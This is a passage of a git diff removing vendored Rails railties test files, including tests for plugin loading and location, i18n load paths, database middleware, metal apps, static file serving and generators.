-      assert_plugins valid_plugin_names, @initializer.loaded_plugins, failure_tip
-      invalid_plugin_names.each do |plugin|
-        assert_match(/#{plugin.to_s}/, e.message, "LoadError message should mention plugin '#{plugin}'")
-      end
-      valid_plugin_names.each do |plugin|
-        assert_no_match(/#{plugin.to_s}/, e.message, "LoadError message should not mention '#{plugin}'")
-      end
-
-    end
-  end
-
-  def test_should_ensure_all_loaded_plugins_load_paths_are_added_to_the_load_path
-    only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
-
-    @initializer.add_plugin_load_paths
-
-    assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/stubby'), 'lib'))
-    assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib'))
-  end
-
-  private
-
-    def load_plugins!
-      @initializer.add_plugin_load_paths
-      @initializer.load_plugins
-    end
-end
-
-class InitializerSetupI18nTests < Test::Unit::TestCase
-  def test_no_config_locales_dir_present_should_return_empty_load_path
-    File.stubs(:exist?).returns(false)
-    assert_equal [], Rails::Configuration.new.i18n.load_path
-  end
-
-  def test_config_locales_dir_present_should_be_added_to_load_path
-    File.stubs(:exist?).returns(true)
-    Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
-    assert_equal [ "my/test/locale.yml" ], Rails::Configuration.new.i18n.load_path
-  end
-
-  def test_config_defaults_should_be_added_with_config_settings
-    File.stubs(:exist?).returns(true)
-    Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
-
-    config = Rails::Configuration.new
-    config.i18n.load_path << "my/other/locale.yml"
-
-    assert_equal [ "my/test/locale.yml", "my/other/locale.yml" ], config.i18n.load_path
-  end
-
-  def test_config_defaults_and_settings_should_be_added_to_i18n_defaults
-    File.stubs(:exist?).returns(true)
-    Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
-
-    config = Rails::Configuration.new
-    config.i18n.load_path << "my/other/locale.yml"
-
-    Rails::Initializer.run(:initialize_i18n, config)
-    assert_equal [
-     File.expand_path(File.dirname(__FILE__) + "/../../activesupport/lib/active_support/locale/en.yml"),
-     File.expand_path(File.dirname(__FILE__) + "/../../actionpack/lib/action_view/locale/en.yml"),
-     File.expand_path(File.dirname(__FILE__) + "/../../activerecord/lib/active_record/locale/en.yml"),
-     # FIXME: should clean I18n.load_path between each test
-     File.expand_path(File.dirname(__FILE__) + "/../../railties/test/fixtures/plugins/engines/engine/config/locales/en.yml"),
-     "my/test/locale.yml",
-     "my/other/locale.yml" ], I18n.load_path.collect { |path| path =~ /^\./ ? File.expand_path(path) : path }
-  end
-
-  def test_setting_another_default_locale
-    config = Rails::Configuration.new
-    config.i18n.default_locale = :de
-    Rails::Initializer.run(:initialize_i18n, config)
-    assert_equal :de, I18n.default_locale
-  end
-end
-
-class InitializerDatabaseMiddlewareTest < Test::Unit::TestCase
-  def setup
-    @config = Rails::Configuration.new
-    @config.frameworks = [:active_record, :action_controller, :action_view]
-  end
-
-  def test_initialize_database_middleware_doesnt_perform_anything_when_active_record_not_in_frameworks
-    @config.frameworks.clear
-    @config.expects(:middleware).never
-    Rails::Initializer.run(:initialize_database_middleware, @config)
-  end
-
-  def test_database_middleware_initializes_when_session_store_is_active_record
-    store = ActionController::Base.session_store
-    ActionController::Base.session_store = ActiveRecord::SessionStore
-
-    @config.middleware.expects(:insert_before).with(:"ActiveRecord::SessionStore", ActiveRecord::ConnectionAdapters::ConnectionManagement)
-    @config.middleware.expects(:insert_before).with(:"ActiveRecord::SessionStore", ActiveRecord::QueryCache)
-
-    Rails::Initializer.run(:initialize_database_middleware, @config)
-  ensure
-    ActionController::Base.session_store = store
-  end
-
-  def test_database_middleware_doesnt_initialize_when_session_store_is_not_active_record
-    store = ActionController::Base.session_store
-    ActionController::Base.session_store = ActionController::Session::CookieStore
-
-    # Define the class, so we don't have to actually make it load
-    eval("class ActiveRecord::ConnectionAdapters::ConnectionManagement; end")
-
-    @config.middleware.expects(:use).with(ActiveRecord::ConnectionAdapters::ConnectionManagement)
-    @config.middleware.expects(:use).with(ActiveRecord::QueryCache)
-
-    Rails::Initializer.run(:initialize_database_middleware, @config)
-  ensure
-    ActionController::Base.session_store = store
-  end
-
-  def test_ensure_database_middleware_doesnt_use_action_controller_on_initializing
-    @config.frameworks -= [:action_controller]
-    store = ActionController::Base.session_store
-    ActionController::Base.session_store = ActiveRecord::SessionStore
-
-    @config.middleware.expects(:use).with(ActiveRecord::ConnectionAdapters::ConnectionManagement)
-    @config.middleware.expects(:use).with(ActiveRecord::QueryCache)
-
-    Rails::Initializer.run(:initialize_database_middleware, @config)
-  ensure
-    ActionController::Base.session_store = store
-    @config.frameworks += [:action_controller]
-  end
-end
-
-class InitializerViewPathsTest  < Test::Unit::TestCase
-  def setup
-    @config = Rails::Configuration.new
-    @config.frameworks = [:action_view, :action_controller, :action_mailer]
-
-    ActionController::Base.stubs(:view_paths).returns(stub)
-    ActionMailer::Base.stubs(:view_paths).returns(stub)
-  end
-
-  def test_load_view_paths_doesnt_perform_anything_when_action_view_not_in_frameworks
-    @config.frameworks -= [:action_view]
-    ActionController::Base.view_paths.expects(:load!).never
-    ActionMailer::Base.view_paths.expects(:load!).never
-    Rails::Initializer.run(:load_view_paths, @config)
-  end
-  
-  def test_load_view_paths_loads_view_paths
-    ActionController::Base.view_paths.expects(:load!)
-    ActionMailer::Base.view_paths.expects(:load!)
-    Rails::Initializer.run(:load_view_paths, @config)
-  end
-end
-
-class RailsRootTest < Test::Unit::TestCase
-  def test_rails_dot_root_equals_rails_root
-    assert_equal RAILS_ROOT, Rails.root.to_s
-  end
-
-  def test_rails_dot_root_should_be_a_pathname
-    assert_equal File.join(RAILS_ROOT, 'app', 'controllers'), Rails.root.join('app', 'controllers').to_s
-  end
-end
-
diff --git a/vendor/rails/railties/test/metal_test.rb b/vendor/rails/railties/test/metal_test.rb
deleted file mode 100644
index d3d23113..00000000
--- a/vendor/rails/railties/test/metal_test.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require 'abstract_unit'
-require 'initializer'
-
-class MetalTest < Test::Unit::TestCase
-  def test_metals_should_return_list_of_found_metal_apps
-    use_appdir("singlemetal") do
-      assert_equal(["FooMetal"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metals_should_respect_class_name_conventions
-    use_appdir("pluralmetal") do
-      assert_equal(["LegacyRoutes"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metals_should_return_alphabetical_list_of_found_metal_apps
-    use_appdir("multiplemetals") do
-      assert_equal(["MetalA", "MetalB"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metals_load_order_should_be_overriden_by_requested_metals
-    use_appdir("multiplemetals") do
-      Rails::Rack::Metal.requested_metals = ["MetalB", "MetalA"]
-      assert_equal(["MetalB", "MetalA"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metals_not_listed_should_not_load
-    use_appdir("multiplemetals") do
-      Rails::Rack::Metal.requested_metals = ["MetalB"]
-      assert_equal(["MetalB"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metal_finding_should_work_with_subfolders
-    use_appdir("subfolders") do
-      assert_equal(["Folder::MetalA", "Folder::MetalB"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metal_finding_with_requested_metals_should_work_with_subfolders
-    use_appdir("subfolders") do
-      Rails::Rack::Metal.requested_metals = ["Folder::MetalB"]
-      assert_equal(["Folder::MetalB"], found_metals_as_string_array)
-    end
-  end
-
-  def test_metal_finding_should_work_with_multiple_metal_paths_in_185_and_below
-    use_appdir("singlemetal") do
-      engine_metal_path = "#{File.dirname(__FILE__)}/fixtures/plugins/engines/engine/app/metal" 
-      Rails::Rack::Metal.metal_paths << engine_metal_path
-      $LOAD_PATH << engine_metal_path
-      assert_equal(["FooMetal", "EngineMetal"], found_metals_as_string_array)
-    end
-  end
-
-  private
-
-  def use_appdir(root)
-    dir = "#{File.dirname(__FILE__)}/fixtures/metal/#{root}"
-    Rails::Rack::Metal.metal_paths = ["#{dir}/app/metal"]
-    Rails::Rack::Metal.requested_metals = nil
-    $LOAD_PATH << "#{dir}/app/metal"
-    yield
-  end
-
-  def found_metals_as_string_array
-    Rails::Rack::Metal.metals.map { |m| m.to_s }
-  end
-end
diff --git a/vendor/rails/railties/test/mocks/routes.rb b/vendor/rails/railties/test/mocks/routes.rb
deleted file mode 100644
index ea128636..00000000
--- a/vendor/rails/railties/test/mocks/routes.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module ActionController
-  module Routing
-    class Routes
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/plugin_loader_test.rb b/vendor/rails/railties/test/plugin_loader_test.rb
deleted file mode 100644
index 65a52061..00000000
--- a/vendor/rails/railties/test/plugin_loader_test.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-require 'plugin_test_helper'
-
-$:.unshift File.dirname(__FILE__) + "/../../actionpack/lib"
-$:.unshift File.dirname(__FILE__) + "/../../actionmailer/lib"
-require 'action_controller'
-require 'action_mailer'
-
-# Mocks out the configuration
-module Rails
-  def self.configuration
-    Rails::Configuration.new
-  end
-end
-
-class TestPluginLoader < Test::Unit::TestCase
-  ORIGINAL_LOAD_PATH = $LOAD_PATH.dup
-
-  def setup
-    reset_load_path!
-
-    @configuration     = Rails::Configuration.new
-    @configuration.plugin_paths << plugin_fixture_root_path
-    @initializer       = Rails::Initializer.new(@configuration)
-    @valid_plugin_path = plugin_fixture_path('default/stubby')
-    @empty_plugin_path = plugin_fixture_path('default/empty')
-
-    @failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
-
-    @loader = Rails::Plugin::Loader.new(@initializer)
-  end
-
-  def test_should_locate_plugins_by_asking_each_locator_specifed_in_configuration_for_its_plugins_result
-    locator_1 = stub(:plugins => [:a, :b, :c])
-    locator_2 = stub(:plugins => [:d, :e, :f])
-    locator_class_1 = stub(:new => locator_1)
-    locator_class_2 = stub(:new => locator_2)
-    @configuration.plugin_locators = [locator_class_1, locator_class_2]
-    assert_equal [:a, :b, :c, :d, :e, :f], @loader.send(:locate_plugins)
-  end
-
-  def test_should_memoize_the_result_of_locate_plugins_as_all_plugins
-    plugin_list = [:a, :b, :c]
-    @loader.expects(:locate_plugins).once.returns(plugin_list)
-    assert_equal plugin_list, @loader.all_plugins
-    assert_equal plugin_list, @loader.all_plugins # ensuring that locate_plugins isn't called again
-  end
-
-  def test_should_return_empty_array_if_configuration_plugins_is_empty
-    @configuration.plugins = []
-    assert_equal [], @loader.plugins
-  end
-
-  def test_should_find_all_availble_plugins_and_return_as_all_plugins
-    assert_plugins [ :engine, :stubby, :plugin_with_no_lib_dir, :gemlike, :acts_as_chunky_bacon, :a], @loader.all_plugins.reverse, @failure_tip
-  end
-
-  def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_untouched
-    assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip
-  end
-
-  def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_nil
-    @configuration.plugins = nil
-    assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip
-  end
-
-  def test_should_return_specific_plugins_named_in_config_plugins_array_if_set
-    plugin_names = [:acts_as_chunky_bacon, :stubby]
-    only_load_the_following_plugins! plugin_names
-    assert_plugins plugin_names, @loader.plugins
-  end
-
-  def test_should_respect_the_order_of_plugins_given_in_configuration
-    plugin_names = [:stubby, :acts_as_chunky_bacon]
-    only_load_the_following_plugins! plugin_names
-    assert_plugins plugin_names, @loader.plugins
-  end
-
-  def test_should_load_all_plugins_in_natural_order_when_all_is_used
-    only_load_the_following_plugins! [:all]
-    assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip
-  end
-
-  def test_should_load_specified_plugins_in_order_and_then_all_remaining_plugins_when_all_is_used
-    only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon, :all]
-    assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip
-  end
-
-  def test_should_be_able_to_specify_loading_of_plugins_loaded_after_all
-    only_load_the_following_plugins!  [:stubby, :all, :acts_as_chunky_bacon]
-    assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @loader.plugins, @failure_tip
-  end
-
-  def test_should_accept_plugin_names_given_as_strings
-    only_load_the_following_plugins! ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir]
-    assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip
-  end
-
-  def test_should_add_plugin_load_paths_to_global_LOAD_PATH_array
-    only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
-    stubbed_application_lib_index_in_LOAD_PATHS = 4
-    @loader.stubs(:application_lib_index).returns(stubbed_application_lib_index_in_LOAD_PATHS)
-
-    @loader.add_plugin_load_paths
-
-    assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/stubby'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS
-    assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS
-  end
-
-  def test_should_add_plugin_load_paths_to_Dependencies_load_paths
-    only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
-
-    @loader.add_plugin_load_paths
-
-    assert ActiveSupport::Dependencies.autoload_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib'))
-    assert ActiveSupport::Dependencies.autoload_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib'))
-  end
-
-  def test_should_add_engine_load_paths_to_Dependencies_load_paths
-    only_load_the_following_plugins! [:engine]
-
-    @loader.add_plugin_load_paths
-
-    %w( models controllers metal helpers ).each do |app_part|
-      assert ActiveSupport::Dependencies.autoload_paths.include?(
-        File.join(plugin_fixture_path('engines/engine'), 'app', app_part)
-      ), "Couldn't find #{app_part} in load path"
-    end
-  end
-  
-  def test_engine_controllers_and_action_mailers_should_have_their_view_path_set_when_loaded
-    only_load_the_following_plugins!([ :engine ])
-
-    @loader.send :add_engine_view_paths
-    
-    assert_equal [ File.join(plugin_fixture_path('engines/engine'), 'app', 'views') ], ActionController::Base.view_paths
-    assert_equal [ File.join(plugin_fixture_path('engines/engine'), 'app', 'views') ], ActionMailer::Base.view_paths
-  end
-  
-  def test_should_add_plugin_load_paths_to_Dependencies_autoload_once_paths
-    only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
-
-    @loader.add_plugin_load_paths
-
-    assert ActiveSupport::Dependencies.autoload_once_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib'))
-    assert ActiveSupport::Dependencies.autoload_once_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib'))
-  end
-
-  def test_should_add_all_load_paths_from_a_plugin_to_LOAD_PATH_array
-    plugin_load_paths = ["a", "b"]
-    plugin = stub(:load_paths => plugin_load_paths)
-    @loader.stubs(:plugins).returns([plugin])
-
-    @loader.add_plugin_load_paths
-
-    plugin_load_paths.each { |path| assert $LOAD_PATH.include?(path) }
-  end
-
-  def test_should_add_locale_files_to_I18n_load_path
-    only_load_the_following_plugins! [:engine]
-
-    @loader.send :add_engine_locales
-
-    assert I18n.load_path.include?(File.join(plugin_fixture_path('engines/engine'), 'config', 'locales', 'en.yml'))
-  end
-
-
-  private
-    def reset_load_path!
-      $LOAD_PATH.clear
-      ORIGINAL_LOAD_PATH.each { |path| $LOAD_PATH << path }
-    end
-end
diff --git a/vendor/rails/railties/test/plugin_locator_test.rb b/vendor/rails/railties/test/plugin_locator_test.rb
deleted file mode 100644
index 471d9fc7..00000000
--- a/vendor/rails/railties/test/plugin_locator_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require 'plugin_test_helper'
-
-class PluginLocatorTest < Test::Unit::TestCase
-  def test_should_require_subclasses_to_implement_the_plugins_method
-    assert_raise(RuntimeError) do
-      Rails::Plugin::Locator.new(nil).plugins
-    end
-  end
-
-  def test_should_iterator_over_plugins_returned_by_plugins_when_calling_each
-    locator = Rails::Plugin::Locator.new(nil)
-    locator.stubs(:plugins).returns([:a, :b, :c])
-    plugin_consumer = mock
-    plugin_consumer.expects(:consume).with(:a)
-    plugin_consumer.expects(:consume).with(:b)
-    plugin_consumer.expects(:consume).with(:c)
-  
-    locator.each do |plugin|
-      plugin_consumer.consume(plugin)
-    end
-  end
-end
-
-class PluginFileSystemLocatorTest < Test::Unit::TestCase
-  def setup
-    @configuration = Rails::Configuration.new
-    # We need to add our testing plugin directory to the plugin paths so
-    # the locator knows where to look for our plugins
-    @configuration.plugin_paths << plugin_fixture_root_path
-    @initializer       = Rails::Initializer.new(@configuration)
-    @locator           = Rails::Plugin::FileSystemLocator.new(@initializer)
-    @valid_plugin_path = plugin_fixture_path('default/stubby')
-    @empty_plugin_path = plugin_fixture_path('default/empty')
-  end
-
-  def test_should_return_rails_plugin_instances_when_calling_create_plugin_with_a_valid_plugin_directory
-    assert_kind_of Rails::Plugin, @locator.send(:create_plugin, @valid_plugin_path)  
-  end
-
-  def test_should_return_nil_when_calling_create_plugin_with_an_invalid_plugin_directory
-    assert_nil @locator.send(:create_plugin, @empty_plugin_path)  
-  end
-
-  def test_should_return_all_plugins_found_under_the_set_plugin_paths
-    assert_equal ["a", "acts_as_chunky_bacon", "engine", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
-  end
-
-  def test_should_find_plugins_only_under_the_plugin_paths_set_in_configuration
-    @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "default")]
-    assert_equal ["acts_as_chunky_bacon", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
-  
-    @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "alternate")]
-    assert_equal ["a"], @locator.plugins.map(&:name)
-  end
-
-  def test_should_not_raise_any_error_and_return_no_plugins_if_the_plugin_path_value_does_not_exist
-    @configuration.plugin_paths = ["some_missing_directory"]
-    assert_nothing_raised do
-      assert @locator.plugins.empty?
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/plugin_test.rb b/vendor/rails/railties/test/plugin_test.rb
deleted file mode 100644
index a6c390a4..00000000
--- a/vendor/rails/railties/test/plugin_test.rb
+++ /dev/null
@@ -1,162 +0,0 @@
-require 'plugin_test_helper'
-
-class PluginTest < Test::Unit::TestCase
-  def setup
-    @initializer         = Rails::Initializer.new(Rails::Configuration.new)
-    @valid_plugin_path   = plugin_fixture_path('default/stubby')
-    @empty_plugin_path   = plugin_fixture_path('default/empty')
-    @gemlike_plugin_path = plugin_fixture_path('default/gemlike')
-  end
-
-  def test_should_determine_plugin_name_from_the_directory_of_the_plugin
-    assert_equal 'stubby', plugin_for(@valid_plugin_path).name
-    assert_equal 'empty', plugin_for(@empty_plugin_path).name
-  end
-
-  def test_should_not_be_loaded_when_created
-    assert !plugin_for(@valid_plugin_path).loaded?
-  end
-
-  def test_should_be_marked_as_loaded_when_load_is_called
-    plugin = plugin_for(@valid_plugin_path)
-    assert !plugin.loaded?
-    plugin.stubs(:evaluate_init_rb)
-    assert_nothing_raised do
-      plugin.send(:load, anything)
-    end
-    assert plugin.loaded?
-  end
-
-  def test_should_determine_validity_of_given_path
-    # This is a plugin path, with a lib dir
-    assert plugin_for(@valid_plugin_path).valid?
-    # This just has an init.rb and no lib dir
-    assert plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).valid?
-    # This would be a plugin path, but the directory is empty
-    assert !plugin_for(plugin_fixture_path('default/empty')).valid?
-    # This is a non sense path
-    assert !plugin_for(plugin_fixture_path('default/this_directory_does_not_exist')).valid?
-  end
-
-  def test_should_return_empty_array_for_load_paths_when_plugin_has_no_lib_directory
-    assert_equal [], plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).load_paths
-  end
-
-  def test_should_return_array_with_lib_path_for_load_paths_when_plugin_has_a_lib_directory
-    expected_lib_dir = File.join(plugin_fixture_path('default/stubby'), 'lib')
-    assert_equal [expected_lib_dir], plugin_for(plugin_fixture_path('default/stubby')).load_paths
-  end
-
-  def test_should_raise_a_load_error_when_trying_to_determine_the_load_paths_from_an_invalid_plugin
-    assert_nothing_raised do
-      plugin_for(@valid_plugin_path).load_paths
-    end
-  
-    assert_raise(LoadError) do
-      plugin_for(@empty_plugin_path).load_paths
-    end
-  
-    assert_raise(LoadError) do
-      plugin_for('this_is_not_a_plugin_directory').load_paths
-    end
-  end
-
-  def test_should_raise_a_load_error_when_trying_to_load_an_invalid_plugin
-    # This path is fine so nothing is raised
-    assert_nothing_raised do
-      plugin = plugin_for(@valid_plugin_path)
-      plugin.stubs(:evaluate_init_rb)
-      plugin.send(:load, @initializer)
-    end
-
-    # This path is fine so nothing is raised
-    assert_nothing_raised do
-      plugin = plugin_for(@gemlike_plugin_path)
-      plugin.stubs(:evaluate_init_rb)
-      plugin.send(:load, @initializer)
-    end
-
-    # This is an empty path so it raises
-    assert_raise(LoadError) do
-      plugin = plugin_for(@empty_plugin_path)
-      plugin.stubs(:evaluate_init_rb)      
-      plugin.send(:load, @initializer)
-    end
-  
-    assert_raise(LoadError) do
-      plugin = plugin_for('this_is_not_a_plugin_directory')
-      plugin.stubs(:evaluate_init_rb)
-      plugin.send(:load, @initializer)
-    end
-  end
-  
-  def test_should_raise_a_load_error_when_trying_to_access_load_paths_of_an_invalid_plugin
-    # This path is fine so nothing is raised
-    assert_nothing_raised do
-      plugin_for(@valid_plugin_path).load_paths
-    end
-  
-    # This is an empty path so it raises
-    assert_raise(LoadError) do
-      plugin_for(@empty_plugin_path).load_paths
-    end
-  
-    assert_raise(LoadError) do
-      plugin_for('this_is_not_a_plugin_directory').load_paths
-    end
-  end    
-
-  def test_loading_a_plugin_gives_the_init_file_access_to_all_it_needs
-    failure_tip = "Perhaps someone has written another test that loads this same plugin and therefore makes the StubbyMixin constant defined already."
-    assert !defined?(StubbyMixin), failure_tip
-    plugin = plugin_for(@valid_plugin_path)
-    plugin.load_paths.each { |path| $LOAD_PATH.unshift(path) }
-    # The init.rb of this plugin raises if it doesn't have access to all the things it needs
-    assert_nothing_raised do
-      plugin.load(@initializer)
-    end
-    assert defined?(StubbyMixin)
-  end
-  
-  def test_should_sort_naturally_by_name
-    a = plugin_for("path/a")
-    b = plugin_for("path/b")
-    z = plugin_for("path/z")
-    assert_equal [a, b, z], [b, z, a].sort
-  end
-  
-  def test_should_only_be_loaded_once
-    plugin = plugin_for(@valid_plugin_path)
-    assert !plugin.loaded?
-    plugin.expects(:evaluate_init_rb)
-    assert_nothing_raised do
-      plugin.send(:load, @initializer)
-      plugin.send(:load, @initializer)
-    end
-    assert plugin.loaded?
-  end
-  
-  def test_should_make_about_yml_available_as_about_method_on_plugin
-    plugin = plugin_for(@valid_plugin_path)
-    assert_equal "Plugin Author", plugin.about['author']
-    assert_equal "1.0.0", plugin.about['version']
-  end
-  
-  def test_should_return_empty_hash_for_about_if_about_yml_is_missing
-    assert_equal({}, plugin_for(about_yml_plugin_path('plugin_without_about_yaml')).about)
-  end
-  
-  def test_should_return_empty_hash_for_about_if_about_yml_is_malformed
-    assert_equal({}, plugin_for(about_yml_plugin_path('bad_about_yml')).about)
-  end
-
-  private
-
-    def about_yml_plugin_path(name)
-      File.join(File.dirname(__FILE__), 'fixtures', 'about_yml_plugins', name)
-    end
-
-    def plugin_for(path)
-      Rails::Plugin.new(path)
-    end
-end
diff --git a/vendor/rails/railties/test/plugin_test_helper.rb b/vendor/rails/railties/test/plugin_test_helper.rb
deleted file mode 100644
index f8c094d1..00000000
--- a/vendor/rails/railties/test/plugin_test_helper.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-$:.unshift File.dirname(__FILE__) + "/../lib"
-$:.unshift File.dirname(__FILE__) + "/../../activesupport/lib"
-
-require 'test/unit'
-require 'active_support'
-require 'initializer'
-require File.join(File.dirname(__FILE__), 'abstract_unit')
-
-# We need to set RAILS_ROOT if it isn't already set
-RAILS_ROOT = '.' unless defined?(RAILS_ROOT)
-
-class Test::Unit::TestCase
-  private  
-    def plugin_fixture_root_path
-      File.join(File.dirname(__FILE__), 'fixtures', 'plugins')
-    end
-  
-    def only_load_the_following_plugins!(plugins)
-      @initializer.configuration.plugins = plugins
-    end
-  
-    def plugin_fixture_path(path)
-      File.join(plugin_fixture_root_path, path)
-    end
-    
-    def assert_plugins(list_of_names, array_of_plugins, message=nil)
-      assert_equal list_of_names.map(&:to_s), array_of_plugins.map(&:name), message
-    end    
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/rack_static_test.rb b/vendor/rails/railties/test/rack_static_test.rb
deleted file mode 100644
index b1bcef97..00000000
--- a/vendor/rails/railties/test/rack_static_test.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require 'abstract_unit'
-
-require 'action_controller'
-require 'rails/rack'
-require 'fileutils'
-
-class RackStaticTest < ActiveSupport::TestCase
-  def setup
-    FileUtils.cp_r "#{RAILS_ROOT}/fixtures/public", "#{RAILS_ROOT}/public"
-  end
-
-  def teardown
-    FileUtils.rm_rf "#{RAILS_ROOT}/public"
-  end
-
-  DummyApp = lambda { |env|
-    [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
-  }
-  App = Rails::Rack::Static.new(DummyApp)
-
-  test "serves dynamic content" do
-    assert_equal "Hello, World!", get("/nofile")
-  end
-
-  test "serves static index at root" do
-    assert_equal "/index.html", get("/index.html")
-    assert_equal "/index.html", get("/index")
-    assert_equal "/index.html", get("/")
-  end
-
-  test "serves static file in directory" do
-    assert_equal "/foo/bar.html", get("/foo/bar.html")
-    assert_equal "/foo/bar.html", get("/foo/bar/")
-    assert_equal "/foo/bar.html", get("/foo/bar")
-  end
-
-  test "serves static index file in directory" do
-    assert_equal "/foo/index.html", get("/foo/index.html")
-    assert_equal "/foo/index.html", get("/foo/")
-    assert_equal "/foo/index.html", get("/foo")
-  end
-
-  private
-    def get(path)
-      Rack::MockRequest.new(App).request("GET", path).body
-    end
-end
diff --git a/vendor/rails/railties/test/rails_generator_test.rb b/vendor/rails/railties/test/rails_generator_test.rb
deleted file mode 100644
index 8b861fba..00000000
--- a/vendor/rails/railties/test/rails_generator_test.rb
+++ /dev/null
@@ -1,145 +0,0 @@
-require 'test/unit'
-
-# Optionally load RubyGems.
-begin
-  require 'rubygems'
-rescue LoadError
-end
-
-# Mock out what we need from AR::Base.
-module ActiveRecord
-  class Base
-    class << self
-      attr_accessor :pluralize_table_names
-    end
-    self.pluralize_table_names = true
-  end
-end
-
-# And what we need from ActionView
-module ActionView
-  module Helpers
-    module ActiveRecordHelper; end
-    class InstanceTag; end
-  end
-end
-
-
-# Must set before requiring generator libs.
-if defined?(RAILS_ROOT)
-  RAILS_ROOT.replace File.expand_path('../fixtures', __FILE__)
-else
-  RAILS_ROOT = File.expand_path('../fixtures', __FILE__)
-end
-
-$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
-require 'initializer'
-
-# Mocks out the configuration
-module Rails
-  def self.configuration
-    Rails::Configuration.new
-  end
-end
-
-require 'rails_generator'
-
-class RailsGeneratorTest < Test::Unit::TestCase
-  BUILTINS = %w(controller integration_test mailer migration model observer plugin resource scaffold session_migration)
-  CAPITALIZED_BUILTINS = BUILTINS.map { |b| b.capitalize }
-
-  def setup
-    ActiveRecord::Base.pluralize_table_names = true
-  end
-
-  def test_sources
-    expected = [:lib, :vendor,
-                "plugins (vendor/plugins)".to_sym, # <plugin>/generators and <plugin>/rails_generators
-                :user,
-                :RubyGems, :RubyGems, # gems named <x>_generator, gems containing /rails_generator/ folder
-                :builtin]
-    expected.delete(:RubyGems) unless Object.const_defined?(:Gem)
-    assert_equal expected, Rails::Generator::Base.sources.map { |s| s.label }
-  end
-
-  def test_lookup_builtins
-    (BUILTINS + CAPITALIZED_BUILTINS).each do |name|
-      assert_nothing_raised do
-        spec = Rails::Generator::Base.lookup(name)
-        assert_not_nil spec
-        assert_kind_of Rails::Generator::Spec, spec
-
-        klass = spec.klass
-        assert klass < Rails::Generator::Base
-        assert_equal spec, klass.spec
-      end
-    end
-  end
-
-  def test_autolookup
-    assert_nothing_raised { ControllerGenerator }
-    assert_nothing_raised { ModelGenerator }
-  end
-
-  def test_lookup_missing_generator
-    assert_raise Rails::Generator::GeneratorError do
-      Rails::Generator::Base.lookup('missing').klass
-    end
-  end
-
-  def test_lookup_missing_class
-    spec = nil
-    assert_nothing_raised { spec = Rails::Generator::Base.lookup('missing_class') }
-    assert_not_nil spec
-    assert_kind_of Rails::Generator::Spec, spec
-    assert_raise(NameError) { spec.klass }
-  end
-
-  def test_generator_usage
-    (BUILTINS - ["session_migration"]).each do |name|
-      assert_raise(Rails::Generator::UsageError, "Generator '#{name}' should raise an error without arguments") {
-        Rails::Generator::Base.instance(name)
-      }
-    end
-  end
-
-  def test_generator_spec
-    spec = Rails::Generator::Base.lookup('working')
-    assert_equal 'working', spec.name
-    assert_match(/#{spec.path}$/, "#{RAILS_ROOT}/lib/generators/working")
-    assert_equal :lib, spec.source
-    assert_nothing_raised { assert_match(/WorkingGenerator$/, spec.klass.name) }
-  end
-
-  def test_named_generator_attributes
-    g = Rails::Generator::Base.instance('working', %w(admin/foo bar baz))
-    assert_equal 'admin/foo', g.name
-    assert_equal %w(admin), g.class_path
-    assert_equal 'Admin', g.class_nesting
-    assert_equal 'Admin::Foo', g.class_name
-    assert_equal 'foo', g.singular_name
-    assert_equal 'foos', g.plural_name
